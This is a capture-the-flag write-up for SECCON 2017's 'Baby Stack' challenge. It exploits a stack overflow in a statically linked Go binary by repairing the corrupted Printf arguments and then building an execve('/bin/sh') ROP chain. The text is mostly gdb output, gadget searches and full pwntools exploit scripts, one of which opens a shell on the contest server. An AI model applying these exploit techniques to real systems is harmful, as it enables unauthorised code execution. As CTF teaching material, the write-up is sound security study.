[Pwn] SECCON - Baby Stack


Baby Stack

Can you do a traditional stack attack?

Host : baby_stack.pwn.seccon.jp
Port : 15285
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8

Overflow the Buffer

We have a go executable which is harder to reverse than c, by reading the challenge title we can see that this challenge is probably about a buffer overflow in the stack, another thing we also notice that the binary is statically linked:

1
2
$ file baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, with debug_info, not stripped

Since is statically linked we know that this binary isn’t going to use the libc file in our system, every libc function used is embedded in the binary itself, this a problem we can’t just jump into libc because some useful functions like system aren’t present, but we can still build a ROP chain that does a system call to execve, this is very similar to writting shellcode but instead of writting a script we are going to use gadgets to build it.

By checking the security of the binary we can see the only protection enabled is NX (Non-Executable Stack).

1
2
3
4
5
6
checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled

We don’t have a stack canary to stop us so the first thing to do is to run the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
Please tell me your name >> A
Give me your message >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
unexpected fault address 0x0
fatal error: fault
[signal 0xb code=0x80 addr=0x0 pc=0x456551]

goroutine 1 [running]:
runtime.throw(0x507550, 0x5)
/usr/lib/go-1.6/src/runtime/panic.go:547 +0x90 fp=0xc82003f5b8 sp=0xc82003f5a0
runtime.sigpanic()
/usr/lib/go-1.6/src/runtime/sigpanic_unix.go:27 +0x2ab fp=0xc82003f608 sp=0xc82003f5b8
runtime.memmove(0xc82008a00b, 0x4141414141414141, 0x61414141)
/usr/lib/go-1.6/src/runtime/memmove_amd64.s:83 +0x91 fp=0xc82003f610 sp=0xc82003f608
fmt.(*fmt).padString(0xc82006ebb8, 0x4141414141414141, 0x61414141)
/usr/lib/go-1.6/src/fmt/format.go:130 +0x456 fp=0xc82003f730 sp=0xc82003f610
fmt.(*fmt).fmt_s(0xc82006ebb8, 0x4141414141414141, 0x61414141)
/usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fp=0xc82003f760 sp=0xc82003f730
fmt.(*pp).fmtString(0xc82006eb60, 0x4141414141414141, 0x61414141, 0xc800000073)
/usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fp=0xc82003f790 sp=0xc82003f760
fmt.(*pp).printArg(0xc82006eb60, 0x4c1c00, 0xc82000a380, 0x73, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fp=0xc82003f918 sp=0xc82003f790
fmt.(*pp).doPrintf(0xc82006eb60, 0x5220a0, 0x18, 0xc82003fea8, 0x2, 0x2)
/usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fp=0xc82003fca0 sp=0xc82003f918
fmt.Fprintf(0x7fcd857d21e8, 0xc82002c010, 0x5220a0, 0x18, 0xc82003fea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fp=0xc82003fce8 sp=0xc82003fca0
fmt.Printf(0x5220a0, 0x18, 0xc82003fea8, 0x2, 0x2, 0x20, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:197 +0x94 fp=0xc82003fd50 sp=0xc82003fce8
main.main()
/home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e fp=0xc82003ff50 sp=0xc82003fd50
runtime.main()
/usr/lib/go-1.6/src/runtime/proc.go:188 +0x2b0 fp=0xc82003ffa0 sp=0xc82003ff50
runtime.goexit()
/usr/lib/go-1.6/src/runtime/asm_amd64.s:1998 +0x1 fp=0xc82003ffa8 sp=0xc82003ffa0

We did overflow the buffer but what really happened here? If you look at the stack traces we aren’t really getting a segmentation fault because we are replacing the ret address, the exception is occurring because we are changing the parameters of fmt.Printf, the binary isn’t reaching the ret instruction because of this, we need to set some break points before this prints to put the correct addresses on them, something that doesn’t crash the program.

To check good breakpoint addresses I used IDA, radare2 was way too slow and didn’t gave me nice results on it, after opening it in IDA I searched for a function named main_main and tryed to find a function bufio___Scanner__Scan which in go is a function that reads inputs from the STDIN.

Checking it on another view to check its addresses:

After setting some breakpoints in the printf’s after those 2 scans, I realised that the padding needed to reach the 1st parameter was 104 so we can start testing it in the binary:

1
2
3
4
5
6
7
8
$ python -c "print 'A'*104 + 'BBBBBBBB'"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
$ ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
Please tell me your name >> A
Give me your message >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
...
runtime.memmove(0xc82000e30b, 0x4242424242424242, 0x1)
...

There it is, we are replacing the address of the string that printf wants to print, we can’t continue overflowing the rest to reach the ret instruction, to get this valid address I just picked a value that I got from gdb from the stack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
gdb-peda$ b *0x4011D2
Note: breakpoint 1 also set at pc 0x4011d2.
Breakpoint 2 at 0x4011d2: file /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go, line 18.
gdb-peda$ r
Starting program: /baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
[New LWP 8293]
[New LWP 8294]
[New LWP 8295]
Please tell me your name >> A

[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x0
RCX: 0xc82000a2c1 --> 0x41 ('A')
RDX: 0xc820074000 --> 0xa41 ('A\n')
RSI: 0xc820074000 --> 0xa41 ('A\n')
RDI: 0xc82000a2c1 --> 0x41 ('A')
RBP: 0x0
RSP: 0xc82003fd50 --> 0x521e40 ("Give me your message >> ")
RIP: 0x4011d2 (<main.main+466>: call 0x45ac40 <fmt.Printf>)
R8 : 0x1
R9 : 0x1000
R10: 0xc820074000 --> 0xa41 ('A\n')
R11: 0x202
R12: 0x15
R13: 0x536a54 --> 0x201fe001001e4
R14: 0x1
R15: 0x8
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4011c3 <main.main+451>: mov QWORD PTR [rsp+0x10],rbx
0x4011c8 <main.main+456>: mov QWORD PTR [rsp+0x18],rbx
0x4011cd <main.main+461>: mov QWORD PTR [rsp+0x20],rbx
=> 0x4011d2 <main.main+466>: call 0x45ac40 <fmt.Printf>
0x4011d7 <main.main+471>: mov rbx,QWORD PTR [rsp+0x80]
0x4011df <main.main+479>: mov QWORD PTR [rsp],rbx
0x4011e3 <main.main+483>: call 0x46cbc0 <bufio.(*Scanner).Scan>
0x4011e8 <main.main+488>: mov rax,QWORD PTR [rsp+0x80]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xc82003fd50 --> 0x521e40 ("Give me your message >> ")
0008| 0xc82003fd58 --> 0x18
0016| 0xc82003fd60 --> 0x0
0024| 0xc82003fd68 --> 0x0
0032| 0xc82003fd70 --> 0x0
0040| 0xc82003fd78 --> 0x1
0048| 0xc82003fd80 --> 0x0
0056| 0xc82003fd88 --> 0x0
[------------------------------------------------------------------------------]

For example an address from the stack can be something like 0xc82003fd58 with this we can start writing the exploit:

1
2
3
4
5
6
7
8
from pwn import *
padding = 'A' * 104 + p64(0xc82003fd58) + 'AAAAAAAA'
process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8')
r.recvuntil('Please tell me your name >> ')
r.sendline('A')
r.recvuntil('Give me your message >> ')
r.sendline(padding)
r.interactive()

By running it we can see we are still replacing another parameter from printf:

1
2
3
4
5
6
7
8
9
python writeup.py 
[+] Starting local process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8': pid 8433
[*] Switching to interactive mode
panic: runtime error: growslice: cap out of range

goroutine 1 [running]:
panic(0x4e4800, 0xc820070280)
/usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6
fmt.(*fmt).padString(0xc820076ef8, 0xc82003fd58, 0x4141414141414141)

In this case we are replacing the number of characters that are going to be printed by printf! for example if we set the next 8 bytes to be 0x0000000000000002, printf will print 2 characters starting by the address we gave before in the previous 8 bytes (0xc82003fd58). So lets readjust our script to do this:

1
2
3
4
5
6
7
8
from pwn import *
padding = 'A' * 104 + p64(0xc82003fd58) + p64(0x3)
process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8')
r.recvuntil('Please tell me your name >> ')
r.sendline('A')
r.recvuntil('Give me your message >> ')
r.sendline(padding)
r.interactive()

1
2
3
4
5
$ python writeup.py
...
Thank you, \x18\x00\x00!
msg : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Got EOF while reading in interactive

As you can see we are no longer seg faulting and as I said before you can see that only 3 bytes are being printed after the string “Thank you, “ we need to calculate the offset to the next printf and do the same thing, give an address and the number of bytes to be printed, only then we can replace the return address with success! So after calculating everything our script will look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
off_printf1 = 104
off_printf2 = 80
off_retaddress = 192
padding_printf1 = 'A' * off_printf1 + p64(0xc82003fd58) + p64(0x3)
padding_printf2 = 'A' * off_printf2 + p64(0xc82003fd58) + p64(0x3)
padding_retaddresss = 'A'*off_retaddress + p64(0xdeadbeef)
padding = padding_printf1 + padding_printf2 + padding_retaddresss
r = process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8')
r.recvuntil('Please tell me your name >> ')
r.sendline('A')
r.recvuntil('Give me your message >> ')
r.sendline(padding)
r.interactive()

And finally we succefully smashed the stack! and replaced the return address to 0xdeadbeef:

1
2
3
4
5
6
7
$ python writeup.py 
...
Thank you, \x18\x00\x00!
msg : X�
unexpected fault address 0xdeadbeef
fatal error: fault
[signal 0xb code=0x1 addr=0xdeadbeef pc=0xdeadbeef]

Build a ropchain

Now that we replaced the return address to 0xdeadbeef we can finally start by doing our ropchain, to build this ropchain we need to know a bit of assembly but first we need to know how a syscall works as assembly and which registers it uses as arguments:

1
syscall(RAX, RDI, RSI, RDX)

Where RAX is the system call number and RDI must have an address that points into ‘/bin/sh’ the rest of the registers are about the arguments! in this case we can just set them into zeros… So to build a successful ropchain we need to search some good gadgets.

Setting /bin/sh address to RDI

First of all we need to store /bin/sh into memory, we need a valid address to store it so we actually need to find a nice one to store our string, normally we want to use the .bss data segment, we can find it’s address in IDA:

.bss is perfect its address doesn’t change on different runs because PIE protection isn’t enabled, and as the picture above says in IDA we have read and write permissions which is what we want.

Now we need a special gadget for this, we need something that moves data from a register into a memory address, the ideal gadget would be MOV [RDI], RAX, with the preference that it’s a qword MOV, since /bin/sh is a quite big string we need a 64bit MOV (if a 64 bit MOV weren’t available we could do it by spliting into multiple moves), so lets check with ROPGadgets, if we have a 64bit MOV:

1
2
3
4
5
6
7
ROPgadget --binary baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep 'mov qword ptr \[rdi\], '
0x000000000045681b : clc ; mov qword ptr [rdi], rax ; mov qword ptr [rdi + rbx - 8], rcx ; ret
0x0000000000456826 : mov eax, dword ptr [rsi] ; mov qword ptr [rdi], rax ; ret
0x0000000000456490 : mov qword ptr [rdi], rax ; mov qword ptr [rdi + rbx - 8], rax ; ret
0x000000000045681c : mov qword ptr [rdi], rax ; mov qword ptr [rdi + rbx - 8], rcx ; ret
0x0000000000456499 : mov qword ptr [rdi], rax ; ret
0x0000000000456825 : mov rax, qword ptr [rsi] ; mov qword ptr [rdi], rax ; ret

There we go, the mov qword ptr [rdi], rax ; ret is the gadget we need! we just need to store the .bss address into RDI, and the string /bin/sh into RAX, to store them into RDI and RAX we need gadgets like POP RDI ; RET and POP RAX ; RET, this gadgets will get the value on the top of the stack and store it in the respective register that’s what POP does:

1
2
3
4
5
6
7
8
$ ROPgadget --binary baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep 'pop rdi ;'
0x000000000044a282 : pop rdi ; adc eax, 0x24448900 ; and byte ptr [rcx], bh ; ret
0x000000000042274f : pop rdi ; add byte ptr [rax], al ; add rsp, 0x20 ; ret
0x0000000000429eea : pop rdi ; call 0x401008
0x0000000000470931 : pop rdi ; or byte ptr [rax + 0x39], cl ; ret
$ ROPgadget --binary baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep 'pop rax ; ret'
0x00000000004016ea : pop rax ; ret
0x0000000000429283 : pop rax ; ret 0xf66

We have both gadgets but as we can see the pop rdi ; or byte ptr [rax + 0x39], cl ; ret gadget has an instruction between POP RDI and RET, We require to set RAX into a valid address before using this gadget otherwise we SEGFAULT.

Finally we have everything we need to store the address of /bin/sh into RDI:

1
2
3
4
5
6
7
8
# setting /bin/sh into bss address
ropchain += p64(0x4016ea) # pop rax ; ret
ropchain += p64(BSS) # @.data
ropchain += p64(0x0000000000470931) # pop rdi ; or byte ptr [rax + 0x39], cl ; ret
ropchain += p64(BSS) # @.data
ropchain += p64(0x4016ea) # pop rax ; ret
ropchain += '/bin/sh\x00'
ropchain += p64(0x0000000000456499) # mov qword ptr [rdi], rax ; ret

Clearing RSI and RDX

Now that we have the address of /bin/sh in RDI we need to clear the registers RSI and RDX into zero, we can do this with POP RET gadgets :

1
2
3
4
5
6
7
# clear rsi and rdx registers
ropchain += p64(0x4016ea) # pop rax ; ret
ropchain += p64(BSS) # @.data
ropchain += p64(0x00000000004a247c) # pop rdx ; or byte ptr [rax - 0x77], cl ; ret
ropchain += p64(0x0)
ropchain += p64(0x000000000046defd) # pop rsi ; ret
ropchain += p64(0x0)

And finally we can’t forget to set RAX into the execve system call number which is 0x3b, you can get a full list of system call numbers at https://filippo.io/linux-syscall-table/ , once again we can use POP RET gadget to do this:

Setting 0x3b into RAX

1
2
3
4
5
6
# setting rax into execve 0x3b syscall number
ropchain += p64(0x00000000004016ea) # pop rax ; ret
ropchain += p64(0x3b)

# call system call
ropchain += p64(0x0000000000456889) # syscall ; ret

My final Exploit will look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

def getConn():
return process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8') if local else remote('baby_stack.pwn.seccon.jp', 15285)

local = False
r = getConn()

padding = 'A' * 104

r.recvuntil('Please tell me your name >> ')
r.sendline('A')
r.recvuntil('Give me your message >> ')

BSS = 0x59F920
ropchain = ''

# setting /bin/sh into bss address
ropchain += p64(0x4016ea) # pop rax ; ret
ropchain += p64(BSS) # @.data
ropchain += p64(0x0000000000470931) # pop rdi ; or byte ptr [rax + 0x39], cl ; ret
ropchain += p64(BSS) # @.data
ropchain += p64(0x4016ea) # pop rax ; ret
ropchain += '/bin/sh\x00'
ropchain += p64(0x0000000000456499) # mov qword ptr [rdi], rax ; ret

# clear rsi and rdx registers
ropchain += p64(0x4016ea) # pop rax ; ret
ropchain += p64(BSS) # @.data
ropchain += p64(0x00000000004a247c) # pop rdx ; or byte ptr [rax - 0x77], cl ; ret
ropchain += p64(0x0)
ropchain += p64(0x000000000046defd) # pop rsi ; ret
ropchain += p64(0x0)

# setting rax into execve 0x3b syscall number
ropchain += p64(0x00000000004016ea) # pop rax ; ret
ropchain += p64(0x3b)

# call system call
ropchain += p64(0x0000000000456889) # syscall ; ret
r.sendline(padding + p64(0xc82003fd58) + p64(0x00) + 'A'*80 + p64(0xc82003fd58) + p64(0x00) + 'A'*192 + ropchain)
r.interactive()

By running it we can get the flag:

1
2
3
4
5
6
7
8
9
10
11
12
$ python back_stack.py
[+] Opening connection to baby_stack.pwn.seccon.jp on port 15285: Done
[*] Switching to interactive mode
Thank you, !
msg :
$ ls
baby_stack
flag.txt
$ id
uid=30831 gid=30000(baby_stack) groups=30000(baby_stack)
$ cat flag.txt
SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}